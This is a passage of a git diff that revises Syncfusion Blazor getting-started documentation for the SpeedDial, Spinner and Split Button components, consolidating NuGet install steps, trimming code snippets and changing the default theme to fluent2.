@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor SpeedDial Component
 
-This section explains how to add the Blazor SpeedDial component to a Blazor WebAssembly application using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor SpeedDial component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/SpeedDial) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeedDial](https://www.syncfusion.com/blazor-components/blazor-speeddial) component to a Blazor WebAssembly application using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get start quickly with Blazor SpeedDial component, refer to this [GitHub](htt
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
-
-To add the Blazor SpeedDial component, open NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Buttons -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Buttons and Themes NuGet in the App
+{% endtabcontent %}
 
-To add the **Blazor SpeedDial** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Buttons](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Buttons -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Buttons` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Buttons` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor SpeedDial component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeedDial component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeedDial component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Buttons
 
@@ -212,12 +166,18 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeedDial compon
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/rZrfjigtfqnDNcxJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor SpeedDial Component](./images/blazor-speeddial-component.png)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/SpeedDial).
+
 ## Linear and radial display modes
 
 Use the [`Mode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons.SfSpeedDial.html#Syncfusion_Blazor_Buttons_SfSpeedDial_Mode) property to display action items either in a linear list or as a radial (circular) menu.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Buttons
+
+@using Syncfusion.Blazor.Buttons
 
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfSpeedDial Target="#target" Position="FabPosition.BottomLeft" Mode="SpeedDialMode.Radial" OpenIconCss="e-icons e-edit">
@@ -247,7 +207,9 @@ Use the [`Mode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons
 The SpeedDial control triggers the [`ItemClicked`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons.SfSpeedDial.html#Syncfusion_Blazor_Buttons_SfSpeedDial_ItemClicked) event with [`SpeedDialItemEventArgs`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Buttons.SpeedDialItemEventArgs.html) when an action item is clicked. Use this event to perform the required action.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Buttons
 
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfSpeedDial Target="#target" OpenIconCss="e-icons e-edit" ItemClicked="ItemEventClick">
diff --git a/blazor/spinner/getting-started.md b/blazor/spinner/getting-started.md
index 7d506889e0..4439fdb0e4 100644
--- a/blazor/spinner/getting-started.md
+++ b/blazor/spinner/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Spinner Component
 
-This section briefly explains about how to include [Blazor Spinner](https://www.syncfusion.com/blazor-components/blazor-spinner) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Spinner component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Spinner) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner](https://www.syncfusion.com/blazor-components/blazor-spinner) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get start quickly with Blazor Spinner component, refer to this [GitHub](https
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner and Themes NuGet in the App
-
-To add the **Blazor Spinner** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Spinner](https://www.nuget.org/packages/Syncfusion.Blazor.Spinner) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Spinner -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Spinner](https://www.nuget.org/packages/Syncfusion.Blazor.Spinner) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Spinner -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Spinner](https://www.nuget.org/packages/Syncfusion.Blazor.Spinner/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Spinner** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Spinner](https://www.nuget.org/packages/Syncfusion.Blazor.Spinner/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Spinner -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Spinner -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Spinner` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Spinner` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Spinner component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner component with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor [Button](https://blazor.syncfusion.com/documentation/button/getting-started) component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Buttons
 
@@ -222,4 +176,6 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Spinner componen
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/htrTZCUjfzWlJVVS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Spinner Component](./images/blazor-spinner.png)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Spinner).
+
 N> You can also explore our [Blazor Spinner Example](https://blazor.syncfusion.com/demos/spinner/overview?theme=bootstrap5) that shows you how to render and configure the Spinner.
diff --git a/blazor/split-button/getting-started.md b/blazor/split-button/getting-started.md
index a87cd04772..5001d8456b 100644
--- a/blazor/split-button/getting-started.md
+++ b/blazor/split-button/getting-started.md
@@ -11,9 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Split Button Component
 
-This section explains how to include the [Blazor Split Button](https://www.syncfusion.com/blazor-components/blazor-split-button) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Split Button component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/SplitButton) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Split Button](https://www.syncfusion.com/blazor-components/blazor-split-button) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -27,23 +25,6 @@ To get start quickly with Blazor Split Button component, refer to this [GitHub](
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SplitButtons and Themes NuGet in the App
-
-To add the **Blazor Split Button** component to the app, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.SplitButtons -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -56,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -69,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SplitButtons and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.SplitButtons](https://www.nuget.org/packages/Syncfusion.Blazor.SplitButtons) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
